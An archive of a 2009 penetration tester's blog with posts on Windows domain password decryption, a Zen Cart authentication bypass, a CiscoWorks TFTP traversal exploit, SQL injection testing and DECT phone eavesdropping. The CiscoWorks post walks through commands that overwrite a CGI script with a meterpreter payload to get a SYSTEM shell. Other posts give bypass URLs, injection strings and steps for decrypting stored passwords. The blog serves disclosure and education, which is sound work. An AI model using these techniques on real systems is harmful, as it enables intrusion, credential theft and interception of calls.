Monday, September 7, 2009

Greasemonkey script to change Google url?sa=t links to direct links

Google recently decided to change the links in Google results from direct links to tracking links. So instead of getting a nice link in your results, you will be getting a etc link which will redirect you to the correct site.

I was rather annoyed by this as I use Google a lot when pentesting and often like to copy & paste links from the search results. Instead of getting a direct link to a site, I end up with a huge link. So I decided to write a little Greasemonkey script to fix this:

// ==UserScript==
// @name                Google Direct Links
// @namespace 
// @description         Script that changes annoying new-style Google links to direct links
// @include             http://google.tld/search?*
// @include   *
// ==/UserScript==

var allElements, thisElement;
allElements = document.evaluate('//*[@onmousedown]',document,null,XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE,null);
for (var i = 0; i < allElements.snapshotLength; i++) {
 thisElement = allElements.snapshotItem(i);
 if(thisElement.nodeName.toUpperCase() == 'A'){
This script removes the onmousedown handlers on all links in Google search results. Another way to achieve this is to disable Javascript on these pages. To use the script paste it into a text file, save it as googledirectlinks.user.js, install Greasemonkey and drag the googledirectlinks.user.js onto a Firefox window (Greasemonkey will prompt you to install the script).

Another nice extension is Adaptive Referer Remover. This add-on allows you to remove Referer headers if they contain certain patterns. So I added the following pattern to prevent sites from seeing what Google query I entered to find them (you could add rules for other Google features as well or even block it entirely):


This add-on refuses to install if you use Firefox 3.5, but it works fine in that version. You can install the Nightly Tester Tools extension, which enables you to install it anyway (or you could edit the .xpi file manually).

Thursday, August 27, 2009

Windows password filters

During my HAR talk, I briefly described the password filter mechanism. A password filter is a DLL that is listed in the registry at HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages.

Whenever a user changes his password, Windows passes the plaintext password to all the DLL’s listed there. The password filter can then determine whether the password meets its requirements (complexity, length etc.) and approve or disapprove the password. You can use this feature to implement your own password filter DLL and enforce your custom company password policy.

Of course, a password filter could also choose to do something else with the plaintext password. As I described in my previous blog post, Microsoft does this with RASSFM.DLL. An attacker could also create his own backdoor password filter that, for example, sends the password to a remote server.

The procedures you need to implement are quite well documented on MSDN. There is even a universal password filter available on Sourceforge. This allows you to pass the password to a custom script.

Wednesday, August 26, 2009

Passwords stored using reversible encryption: how it works (part 2)

In part one of this article, I described how the reversible encryption of Windows domain passwords works. In this part, we will look at the security of this mechanism.

To decrypt the password you need the following components:
- The encrypted password (G$RADIUSCHAP)
- The 16 byte random (G$RADIUSCHAPKEY)
- The global LSA secret (G$MSRADIUSCHAPKEY)
- A static key hardcoded in RASSFM.DLL

The hardest thing to get is that global LSA secret. This is stored in active directory and synchronized between domain controllers. To access this key, you need domain administrator privileges. An obvious risk here is that once someone gains domain administrator privileges, he won’t need to crack any passwords, but can simply decrypt them. Of course, if an attacker gains domain administrator privileges on your domain, you are already in big trouble anyway.
However, the other components are all semi-public information. The static key is hardcoded in RASSFM.DLL which comes with every Windows server, so is easy to get. The G$RADIUSCHAP and G$RADIUSCHAPKEY are stored in active directory in the userParameters structure. If you have a user account on a domain you can use AD Explorer to access the Active Directory database and read this information. Of course, to decrypt the password you will still need that LSA secret.

The encrypted version of the password can be interesting though; by looking at the encrypted password you can derive the length of the plaintext password. Two examples I used in my presentation:

Pwd1 encrypted: 0f53 8420 9418 05ce 01ad

Pwd12 encrypted: 5d69 9375 6f92 1b63 7728 439f

So, by looking at the encrypted passwords you should notice that the encrypted version of Pwd12 is two bytes longer than the encrypted version of Pwd1. So, although we cannot determine from just looking at the encrypted password that they are very similar, we can determine their length. What this means is, that as a domain user, you can determine the length of other people’s passwords, which could be quite interesting.

If you obtain the LSA secret somehow (maybe because you temporarily gain domain administrator privileges), from that point on you can decrypt passwords stored using reversible encryption. This could be used as a nice backdoor, just steal the LSA secret, enable reversible encryption (if it hasn’t been enabled yet) and you can grab the domain administrator password with just a normal user account.

Someone in the HAR 2009 audience had a very nice question: Is it possible to recreate the LSA secret if you’re afraid it has been stolen. Of course the better option is to recreate the entire domain, but this is not always an option. To recreate the LSA secret you need to write a program that sets the LSA secret to NULL. According to the documentation, Windows will delete the LSA secret. It will generate a new LSA secret when it needs to encrypt another password. Of course, Windows won’t be able to decrypt the passwords stored before that point anymore. However, it will still try to decrypt them using the new LSA secret, which will result in gibberish most of the time. If you’re really unlucky it could decrypt the first two bytes to NULL, which basically means the password is suddenly empty. So if you ever have to do this, resetting all passwords immediately is probably a good idea.

Tuesday, August 25, 2009

HAR 2009 talk references

I promised to put up some nice ‘further reading’ material for those who have seen my HAR talk. So here it is:

Disabling the LM hash
Free Rainbow Tables and download site

Passing the hash
The original post from 1997 by Paul Ashton
Core Pass-The-Hash toolkit
Tenable SMBshell

Token stealing
Luke Jennings research page
A tutorial on the tool by CG

You can see the video of my talk here or download it here or here.

Passwords stored using reversible encryption: how it works (part 1)

In case you missed my HAR2009 talk: in the second part I talked about a Windows feature called ‘Store passwords using reversible encryption’. When this is enabled (per user or for the entire domain), Windows stores the password encrypted, but in such a way that it can reverse the encryption and recover the plaintext password. This feature exists because some authentication protocols require the plaintext password to function correctly, the two most common examples are HTTP Digest Authentication and CHAP.

This feature is not enabled by default but I’ve seen it a couple of times in customer networks. As I couldn’t find any description of how this mechanism works or any tool to recover these passwords, I decided to investigate.

When you change your password on a domain that has reversible encryption enabled, a password filter called RASSFM.DLL is used to store the password using reversible encryption. The key that is used to do this is G$MSRADIUSCHAPKEY, which is stored as a global LSA secret. This key is decrypted using a static key (hardcoded in the DLL). The result of this operation is combined with a 16-byte random value (generated every time someone changes their password) and that key is used to encrypt a Unicode version of the password using the RC4 algorithm.

I found out these passwords are stored in Active Directory in a per-user structure called userParameters. If you use a tool such as AD Explorer you can look at this structure in an AD that has enabled this feature. When you look at this structure, it looks like a binary blob, with some human-readable parts in there. When you enable reversible encryption you will notice two readable strings: G$RADIUSCHAP and G$RADIUSCHAPKEY. The userParameters can also be used to store settings unrelated to reversible encryption, such as per-user Terminal Server settings.

Following the G$RADIUSCHAP part is the ascii-hex encoded encrypted password. The part following the G$RADIUSCHAPKEY name is the 16-byte random value.

So to decrypt this password we use the following steps:
- Take the G$MSRADIUSCHAPKEY Global LSA secret
- Decrypt it using the static key
- Parse the userParameters structure and extract the G$RADIUSCHAP and G$RADIUSCHAPKEY values
- Combine the value of G$RADIUSCHAPKEY (the 16-byte random) with the decrypted LSA secret to create an RC4 key
- Decrypt the value of G$RADIUSCHAP using that RC4 key

The result is a plaintext Unicode password. My tool 'Revdump' automates this procedure.

In part two of this article, I will look at the security of this mechanism.

Saturday, August 15, 2009

RevDump v0.2 release

This is my tool to dump password stored using reversible encryption. You can download it here. Enjoy your stay at HAR.

Thursday, July 23, 2009

A common Apache .htaccess misconfiguration

If you want to restrict a directory on an Apache server to specific users, you will probably use an .htaccess/.htpasswd configuration. This allows you to add authentication to a directory or an entire site. The sad thing is, if I search for sample configurations on Google, five out of ten examples are insecure…

In fact years ago, I made the mistake of taking one of those sample configurations and used it on a site I had made. A typical .htaccess example you will find often looks like this:

AuthUserFile /var/www/.htpasswd
AuthName "My Private Files"
AuthType Basic
<limit GET POST>
require valid-user

A rather straightforward example, so what is the problem? This configuration only partially restricts access to the ‘protected’ resource. The issue is in the <limit> tag. This tag restricts access to the resource if the request uses one of the specified HTTP methods, in this case GET and POST. Although these are the most popular methods, they certainly are not the only ones. RFC2616 (HTTP 1.1) lists eight methods: GET, POST, HEAD, OPTIONS, PUT, DELETE, CONNECT and TRACE. RFC2518 (WebDAV) adds a couple more. In other words, if you use one of the other one request methods, you can bypass the authentication. In some cases, using one of those methods will give you the protected page contents. You can also find plenty of examples (yes, the last one is that don’t even limit GET and POST, but just GET, meaning a simple POST request will bypass authentication completely.

The solution? Simple, do not use the <limit> tag at all. If you omit it, all methods are restricted. If you are in a situation where you want to allow specific request methods, you should use <limitexcept>.

This is certainly not a new issue, it was documented in Apacheweek magazine in 1997. You can also find Bugtraq posts detailing instances of the issue, for example this one which describes an application that restricts only the GET method. If you want more details on this issue, Kernelpanik released a paper about it in 2004, you can find it here (pdf).

Monday, July 6, 2009

Speaking at HAR 2009

The program for HAR 2009 was publicly announced a couple of days ago and I’m on the speakers list. My talk is called 'How we break into domains' and I will go over the steps I usually take when breaking into Windows domains. I have an hour for my talk, so I should be able to cover the technical details as well. Of course, I will also be presenting some new stuff I’ve been working on.

I had a lot of fun at the two previous events (HAL 2001 and WTH 2005) and am glad I can contribute a talk this year. See you all at HAR!

Thursday, June 25, 2009

Zen Cart authentication bypass

Zen Cart is a popular open source e-commerce application, written in PHP. Yesterday, two exploits for Zen Cart showed up on milw0rm. The first one is a remote code execution, the second one an SQL injection exploit. The root cause of the two bugs however, is the same: an authentication bypass on the administrative interface of Zen Cart discoverd by Ghyslain/BlackH. Zen Cart has released a patch for this issue here.

Zen Cart does a pretty decent job verifying administrators are actually authenticated, however it has some exceptions to the rule:

This code is present in /admin/includes/init_includes/init_admin_auth.php (slightly simplified code):

if (if (!isset($_SESSION['admin_id']) &&
!(basename($SERVER['PHP_SELF']) == 'password_forgotten.php')) {

So basically, if you are not logged in, Zen Cart will redirect you to the login page, unless you are accessing the password_forgotten.php page.

The problem here is trusting the PHP_SELF variable to determine which script is being accessed. Here a bit of strange PHP behaviour comes in. If I request, the PHP_SELF variable will be /index.php. However if I request , the PHP_SELF variable will be /index.php/foobar, but the script being executed will still be index.php!

So in this case we can trick Zen Cart into thinking we are accessing password_forgotten.php, while we are actually accessing a different file by requesting:


The file we are executing is customers.php, but basename(PHP_SELF) will return password_forgotten.php! Zen Cart thinks we are accessing the ‘I forgot my password’ page, which does not require authentication and allows us to continue without logging in. We can now view a list of customers on our target site, without logging in!

The code execution exploit uses this to access an admin script that allows an administrator to create new files. The exploit uses this functionality to create a new php file on the server, this php file contains a simple backdoor and voila: remote code execution.

Luckily Zen Cart has released a fix for this (although I expect most installations are still vulnerable). I took a look at the patch and noticed it attempts to fix the bug by checking if the string '.php' appears more than once in PHP_SELF. At first this seems to be an (ugly but) effective fix and I think it is in most cases. However, Zen Cart supports multiple platforms, including Windows. As you may know, filenames on Windows are not case sensitive (foo.txt is the same as foo.TXT). The new check however only checks for lowercase instances of '.php'… So if our target is a Windows system, we can circumvent the patch by requesting:


So by changing the extension of customers.php to .PHP, we modify the PHP_SELF variable so '.php' is only present once and bypass the new check! I modified the code execution exploit on milw0rm to reflect this and was able to succesfully exploit my installation of Zen Cart on a Windows platform.

Of course I notified the Zen Cart developers of the shortcoming in their patch and they have released an updated version which does a case insensitive check.

Thursday, June 4, 2009

Slides of my OWASP talk on CSRF

Last week I gave a VAC (Vulnerability, Attack, Countermeasure) talk at an OWASP Netherlands meeting. I picked Cross-Site Request Forgery (CSRF) as a topic as it is an often misunderstood and underestimated problem.

My slides (in English) are available on the OWASP site here. I am planning on releasing another version of the slides in the OWASP template and with speaker notes for easier reuse. The last slide lists some good resources and interesting case studies (including more information on the case studies used in the presentation).

Saturday, May 23, 2009

CiscoWorks TFTP directory traversal exploit

A couple of days ago, Cisco released an advisory for a CiscoWorks TFTP directory traversal vulnerability. The bug was discovered by Cisco internally. So far I have not seen any details published so I decided to see if I could find the bug. I have access to a Windows 2000 machine running CiscoWorks Common Services 3.0.3. It is not the most recent version, but it is listed in the advisory as vulnerable. The TFTP server is indeed enabled by default and exploitation is trivial:

niels@hac:~$ tftp target
tftp> get ...\...\...\...\...\...\...\boot.ini
Received 187 bytes in 0.0 seconds

Assuming this is the same bug (and not just present in my old version) I'm surprised nobody has found this before. I ran a Nessus scan on the server and it even detected the vulnerability using a generic TFTP directory traversal plug-in.

The TFTP server will not allow you to create new files on the server, but it will allow you to overwrite existing files. It runs as SYSTEM, so all we need to do is overwrite an interesting file to get instant remote code execution. Looking at what else CiscoWorks is running, I noticed an Apache web server running on port 1741. By default, it redirects you to a login page on a different port, but looking at the configuration I noticed you can access some Perl CGI scripts through this interface. As the Apache server runs as SYSTEM as well, overwriting these scripts should give us remote code execution.

The TFTP root is "C:\Program Files\CSCOpx\tftpboot" by default. The directory "C:\Program Files\CSCOpx\cgi-bin\error" contains several publicly accessible CGI scripts, such as and

I replaced with an executable, in my case a standalone meterpreter generated using msfpayload:

tftp> binary
tftp> put meter.exe ...\cgi-bin\error\

Sent 9732 bytes in 0.1 seconds

Apache expects a Perl file, so we will need a wrapper to start (which is really an .exe, not a Perl file), so I created a small Perl script which just does a system(""); and uploaded it to the server:

tftp> put ...\cgi-bin\error\
Sent 36 bytes in 0.0 seconds

Windows won't mind that the file does not have an .exe extension, as long as we execute it via the file. So now I simply point a web browser to http://target:1741/cgi-bin/error/ executes our meterpreter and game over:

[*] Meterpreter session 1 opened (hac:4444 -> target:1298)
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Update: I tested this on CiscoWorks LMS 2.6 (Common Services 3.0.5) today. It works perfectly.

Tuesday, May 12, 2009

Time to update SquirrelMail

Today Squirrelmail released version 1.4.18. This version fixes a couple of vulnerabilities, some of which I spotted while browsing through SquirrelMail source code while installing it:
  1. A reflected XSS caused by unsafe handling of the $PHP_SELF variable
  2. A reflected XSS caused by unsafe handling of user supplied encrypted data
  3. A remote command execution vulnerability (only in very specific configurations)
The first XSS is caused by the fact that SquirrelMail only used the strip_tags function to filter this variable. As the variable is often used within tags, you can still inject additional HTML attributes (think onmouseover). This was exploitable in multiple scripts. SquirrelMail now uses htmlspecialchars instead.

The second XSS is rather interresting. SquirrelMail comes with a test script which (given ciphertext and a key) decrypts user supplied data. The decrypted data was then displayed unfiltered (resulting in an obvious XSS). Pretty stealthy and should circumvent any IDS or WAF. Having this kind of script in your webroot is obviously a bad idea anyway.

The last bug occurs only in very specific configurations. If you have more than one imap server, there is a way to configure that in SquirrelMail. If you configure this and use the example map_yp_alias function for this, unauthenticated attackers could execute shell commands on your server. If you built your own function for this, you should probably check if it handles input correctly. It is unlikely that you're running this kind of configuration, but there are probably a couple of installations out there using this.

Thursday, May 7, 2009

Grabit exploits are available (but not working)

I have seen two exploits so far for the NZB overflow, both on milw0rm (here and here). I took a look at the code and they do not look very reliable, in fact both of them suffer from the same problem I initially had when exploiting the bug.

The exploits on milw0rm are tuned for very specific environments, this is caused by the fact that Grabit prepends the current directory to the string copied in the buffer. The authors created the NZB exploits in a specific directory and the exploits will not work if they place it in another one with a different path length (this is why the second exploit has two 'targets').

When I was creating an exploit, this seemed like a serious problem for exploit reliability to me. But when tracing through the code, you will notice that the directory is not always prepended. If the DTD reference is to an absolute path (instead of a relative one), it will not prepend the directory and exploitation is a lot more reliable. After I fixed this in the two exploits, they work just fine on my system.

Sunday, May 3, 2009

Grabit <= 1.7.2 beta 3 NZB file parsing stack overflow

I can’t usually find the time for vulnerability research, but a while ago I found a bug in Grabit, a popular usenet client with NZB support. I posted the following message to Bugtraq and Full Disclosure today:

Grabit <= 1.7.2 beta 3 NZB file parsing stack overflow

Impact: Remote code execution
Version: <= 1.7.2 beta 3

Grabit is a popular Windows usenet client designed for downloading binary files. It has support for NZB files, which a user would usually acquire from an external source. Version 1.7.2 beta 3 is vulnerable to a stack overflow when parsing DTD references in NZB files. Earlier versions are vulnerable as well. Reliable exploitation is pretty straightforward.

I reported this to the author a while ago. He has now released version 1.7.2 beta 4, which fixes the bug. It can be downloaded at

Wednesday, April 8, 2009

Tonight on Dutch television, NOVA: Het afluisteren van DECT-telefoons

In other words, some Dutch media attention on DECT eavesdropping. There has been very little coverage of DECT security issues in the Dutch media, so I’m hoping this broadcast will change that.

DECT sniffing has become easier since my last post. COM-ON-AIR prices seem to be going down again on eBay and people are selling pre-made boot CD’s for DECT sniffing. So no Linux installation necessary anymore, someone can simply buy a COM-ON-AIR card and a CD, pop both of them in a laptop and start sniffing. Needless to say, eavesdropping on your neighbours conversations is illegal, so only use this if you have permission.

I purchased a couple of cards for Fox-IT shortly after the issue became public. As a part of penetration tests, I have already tested DECT security at some of our customers. The results are pretty much as you would expect.

Update: Some shocking details from the broadcast: phone conversations of the Dutch IRS (Belastingdienst), the police, a hospital and a Dutch government minister all can be easily intercepted. First viewer reactions on the NOVA site are of course 'Where can I get one of those eavesdropping things, it sounds like fun'.

Update2: It looks like the media coverage has arrived!

Tuesday, March 10, 2009

Microsoft just released a patch for some WPAD vulnerabilities

Microsoft has just release three security bulletins, among them is MS09-008. This bulletin describes two DNS spoofing vulnerabilities, apparently caused by lack of caching of certain queries. The bulletin also fixes two WPAD related vulnerabilities: "DNS Server Vulnerability in WPAD Registration" and "WPAD WINS Server Registration Vulnerability". Both vulnerabilities have been known for a long time, they are caused by the fact that a lot of organizations do not have WPAD servers. An attacker could register himself as the WPAD server at a WINS server or a DNS server (if dynamic updates are enabled) and start replying to WPAD requests. According to Microsoft the vulnerabilities are fixed by "modifying the way that Windows WINS servers responds to WPAD and ISATAP name resolution requests" and "modifying the way that Windows DNS servers respond to WPAD name resolution requests". I wonder what that means...

Sunday, February 15, 2009

Classic Bug: Windows 95/98/ME share password bypass (part 2)

In part 1 of this article I described how MS00-072 could be used to bypass authentication on a Windows 95/98/ME share. In this part, I will describe how this can be used to extract the password.

I described how a zero length password could bypass the authentication, but what if we want to know the actual password? This could be handy as the password may be used on other systems or if we want to use non-modified software to access the share after extracting the password.

To accomplish this we simply try to guess the password one character at the time. Let me explain: instead of using a zero length password, we use the following:

[password length=1][password=A]

Notice we do not NULL terminate our password, and do not add one to the password length. Lets revisit our verifyPassword function:

bool verifyPassword(int givenLength, char * givenPassword, char * realPassword){
for(int i=0; i<length; i++){
if (givenPassword[i] != realPassword[i]){
return false;
return true;

When we supply a password with a length of one, the function will compare our one character password ('A') with the first character of the actual password. If they match, authentication is successful, if they do not, authentication fails. We can use this to determine the first character of the actual password. If authentication fails, we simply try the password 'B' and so on.
When we have found the first character (say it’s 'P'), we add another character to the password and try ‘PA’ with a length of 2. When we found the second character we add a third one and so on. If we want to know if we have the full password we simply add a NULL byte instead of a character and if authentication succeeds, we have the complete password.

This process is automated by the tool pqWak, which can be found here.

So is this bug still relevant? Well I think so, as it certainly isn’t the only one of its kind. In 2004 a very similar bug was found in MySQL (advisory), you could access a MySQL server without actually knowing the password.

Classic Bug: Windows 95/98/ME share password bypass (part 1)

Another oldie, this time MS00-072: bypassing Windows 95/98/ME share level passwords. In Windows ME and earlier, you could share a folder and put a password on it, so only people in possession of the password could access your shared files over the network.

This vulnerability is interesting because this authentication could by bypassed completely. Furthermore, you could use it to recover the actual password. The function to verify the password probably looked something like this pseudo code:

bool verifyPassword(int givenLength, char * givenPassword, char * realPassword){
for(int i=0; i<length; i++){
if (givenPassword[i] != realPassword[i]){
return false;
return true;

The code does not look so bad at first glance. It takes three parameters, the supplied password and its length and the actual share password. Both passwords are NULL-terminated. The password length includes the NULL byte, so the password ‘12345’ would have a length of 6. It then starts to compare the two byte-by-byte. If any of bytes in the two passwords differ, the verification fails and access is denied.

As I mentioned in the above paragraph, the supplied length of the password includes the NULL byte, so even an empty password would have a length of 1 (the NULL byte itself). This is where the problem lies. The relevant part of a legitimate authentication packet would look like this (password could be empty):

[password length+1][password][NULL byte]

So for an empty password, password length = 1 and the above function would simply compare 1 byte (the NULL byte). If the actual password is also empty (e.g. consists of only a NULL byte), access is granted.

Now you might wonder what happens if the password length is set to 0 (this should never happen, as there is always a NULL byte). What happens is we bypass authentication. Looking at the above function, if givenLength is equal to 0, we never enter the for loop. Thus, we never compare any characters and authentication is always successful.

In part 2 I will describe how an exploit called pqWak uses this bug to determine the password remotely.

Some DECT updates

The dedected team has gotten the Type III cards to work! I tested one of mine today (an Ascom Voo:doo) and it seems to be working properly. Meanwhile the prices on Type II cards are still pretty high.

In a previous post I mentioned a patch which allows capturing directly to .wav files, so conversion is no longer necessary. A newer version of this patch was posted about a month ago. This version also allows live voice playing. I tested the patch last weekend but on my laptop the live voice playing feature ‘stutters’ a bit (could be because I also applied the patch from r44). The capturing directly to .wav files works great though. I haven’t posted a sample with good audio quality so far, so here is one to get an idea of the sound quality (some random English voice menu). There are some manual decoding hints on the mailing lists, I’ll have to look up which method the patch uses.

Siemens Germany has posted a list of Gigaset phones which use encryption here (I could not find it on the Dutch or English versions of The Gigaset 4010 phone I was able to eavesdrop on is simply not on the list.

Tuesday, January 27, 2009

Why you should not use ‘OR 1=1’ when testing for SQL injection (part 2)

In my previous post, I explained why testing for SQL injection using ‘OR 1=1’ can lead to data loss. In this article, I will describe an alternative and safer approach.

I like to use ‘AND 1=0’ instead of ‘OR 1=1’. This does not increase the number of items affected by a query, but (in most cases) results in the query returning 0 rows (as 1=0 is never true ?). In our previous example of a site displaying articles, no article would have been displayed. The resulting query would become:

SELECT title,text,hitcount FROM articles WHERE id=1234 AND 1=0

That query would return 0 rows. So now what? We’re looking at the site we’re testing and no article is displayed, so what? It doesn’t mean there’s SQL injection. Well, now we enter ‘AND 1=1’ after the articleID and the following query is executed:

SELECT title,text,hitcount FROM articles WHERE id=1234 AND 1=1

Now the ‘AND 1=1’ does not affect the original query, and article 1234 is displayed. At this point I am pretty sure I have SQL injection and could try a UNION SELECT to extract more information from the database.

Of course, this is not the only solution to this problem, but it’s one of the safest to use (unless the application displays SQL errors). For bypassing authentication I still sometimes use the OR approach, but in most cases you do not have to take the risk.

Monday, January 26, 2009

Why you should not use ‘OR 1=1’ when testing for SQL injection (part 1)

Everybody who has read a paper on SQL injection has seen the ‘OR 1=1’ example (or the similar ‘ OR ‘’=’). It is the classic method for bypassing authentication when an application does not sanitize user input before using it in SQL queries.

I think it is somewhat overused. Often I see pentesters throwing this kind of string into each input field, hoping to trigger an SQL injection or some kind of error. Some tools which test for SQL injection (for example Nessus) also do it.

So why do I think it’s bad? Well, because it can have a major impact on the query that’s executed and has the potential to break things. Production systems are often the target of pentests and we should try not to break those.

Unless you have the source code to the application, you can’t know exactly what happens with your input string. Most people assume they are injecting into SELECT statements, but of course, applications also use DELETE, UPDATE and INSERT, which modify the database. Let me give you a real life example, we once cam e across an application which did this ($articleID comes from user input):

‘SELECT title,text,hitcount FROM articles WHERE id=’ + $articleID

A prime target for SQL injection! But a little further in the code something else happens:

‘UPDATE articles SET hitcount=’ + $hitcount+1 ‘ WHERE id=’ + $articleID

So the application first retrieves the title,text and hitcount for a certain article from the database, all is well here, the only thing that happens if we enter ‘OR 1=1’ after the articleID is that the application will receive all articles from the database and will most likely pick the first one.

The next statement is a different story, as the application tries to change something. It has retrieved the ‘hitcount’ for the article in the previous query (the hitcount being the number of times the article has been viewed) and uses it in a different query, to update the hit counter with a new view. Our articleID is used again as well, but in this case the resulting query becomes something like:

UPDATE articles SET hitcount=1338 WHERE articleID=1234 OR 1=1

This will set the hitcount to 1338, but instead for just just article 1234, it changes it for all articles in the table, not what we intended to do! Of course this is in most cases a relatively harmless scenario (and an example of lousy software engineering), but had our articleID been used in a DELETE statement, all articles would have been deleted from the table.

In the next part of this article, I will describe an alternative approach.

Sunday, January 25, 2009

My DECT handset actually wants to encrypt!

I had the opportunity to test some more DECT phones and interception worked great on most of them. A friend’s Siemens Gigaset 4010 and a Panasonic 720 both did not encrypt conversations and were easy to eavesdrop on.

When I got to another friend’s house, it was a different story. He had two DECT handsets, a Profoon (similar to the one without encryption I own) and a Siemens C455 IP. The C455 is very similar to the C475 listed on which uses encryption, so I expected this one to encrypt as well. It did use encryption, the only audio I got was static. I was surprised to see (or hear) however, that his Profoon used encryption as well. It turned out he did not use the base station which came with the Profoon handset, he had instead paired the handset with the C455 base station.

I had brought my own Profoon handset and base station so we decided to pair it with the C455 base station as well to see if it would encrypt. It turns out it did! So what I bought is a handset which does support encryption, but a base station which refuses to encrypt. To confirm this we paired his C455 handset with my base station and as expected, no encryption. I knew to use encryption, both the handset and base station need to support it, but I did not expect they would be selling ‘incompatible’ combinations. It does make sense though, the manufacturers probably just buy the cheapest chipset for both the handset and base station. As there is a standard, they have no problems communicating, but the manufacturer might not even realize they are unable to encrypt.

This fact could make mitigating the vulnerability a bit easier. A large organisation with a lot of DECT handsets may not need to replace their entire DECT system, but may be able to keep either the base stations or the handsets. So in my opinion, the ListOfPhones on could use another column: whether the lack of encryption on certain sold combinations is caused by the phone, the base station or both.

Wednesday, January 14, 2009

More on DECT sniffing and attacks

The dedected blog reports the COM-ON-AIR Type II cards are practically sold out, so they are working on supporting the older (less compatible) Type III cards. I took a look on eBay and only Type III and PCI cards are available right now. Looking at the ended auctions, it seems that (in the last two weeks ) over 700 Type II cards have been sold on eBay!

Patches are now available on the dedected mailing-list which allow capturing directly to audio files. So no more converting captured calls. These should be integrated into the main SVN soon (apparently there are some licensing issues). I did not have a chance to test the patches so far. A draft of the paper detailing the attacks and the DSAA algorithm is also available on the dedected wiki: Attacks on the DECT authentication mechanisms.

Finally, the DECT forum has reacted on the possibility of DECT eavesdropping. They state this:

"It is impossible to accidentally eavesdrop on telephone conversations and therefore the risk for users is very low. Only those with a clear criminal energy and intent and a sophisticated knowledge would be capable of eavesdropping."

I can’t say I agree with them. Yes, of course eavesdropping on other people’s phone calls is illegal and it should be, but with the tools dedected has created it is certainly not hard to do so. I'm not interested in my neighbours phone calls, but a lot of people probably are. Just look at the number of cards sold on eBay, these can’t all be nice pentesters with good intentions :-).

Update: I have tested the patch for capturing directly to audio files. The dect_cli tool does store .wav files as well as .pcap files now. With my handset, the files are sometimes empty (well, their size is 44 bytes) though, while they shouldn't be. When it does work, the .wav files are quite nice, but with my handset, the volume still turns out quite low. A bit of amplification using Audacity works well though.

Tuesday, January 13, 2009

Sniffing DECT

A couple of weeks ago, at the CCC congress in Germany, a couple of guys gave a presentation about attacks on DECT cordless phones. Basically, you can buy a DECT PCMCIA card and create a rogue base station (tunnel the calls through a VOIP gateway while you record them) or intercept unencrypted phone calls.

Indeed, some of the DECT phones use no encryption at all. DECT phones are supposed to use the DECT Standard Cipher (DSC) but some just do not (maybe encryption is optional in the DECT standard?). The presenters have a website at which describes some more technical details.

I decided to buy a COM-ON-AIR DECT PCMCIA card on eBay and it arrived today! The people at have created Linux drivers for this card and it was pretty easy to get it working on my Ubuntu laptop.

The dedected SVN includes patches for Kismet-newcore (DECT module) and Wireshark, but also include a couple of handy standalone tools. One of these is called dect_cli. With this tool you can scan for DECT base stations, calls and even record calls. I’ve put some sample output of this tool here (the call I am sniffing is my own).

I also went to a hardware store (GAMMA) this evening and bought the cheapest DECT phone (Profoon PDX-500) so I could play around with it. The box says ‘GAP compatible DECT digital’. I do not have a working landline at the moment so I had to try it without one. This phone, as it turns out, does not use encryption. After recording the call, I could hear myself faintly saying ‘hello hello hello’ (not in a very creative mood), albeit with a lot of static. I’ll try to get my hands on some more DECT phones, I’m curious how many of the phones sold in the Netherlands do not use encryption.

I did not get a clear sound with the current tools. According to the dedected wiki this is something they are still working on. You can listen to a bit of music-over-DECT (and a lot of static) I recorded here (raw dump files here). I simply used sox without any options to convert it to .wav, but there is a 'modified decode' on the dedected wiki which should result in somewhat better quality. In my case, using this filter resulted in a lot of silence but the beeps at the end of the file were very clear :-).

Update: I got the opportunity to test this with another DECT phone. Combined with the 'modified decode' I was able to get really good sound quality.
Also, it turns out that encryption is optional in the DECT standard, as this document (pdf) from the DECT Forum describes (on page 11).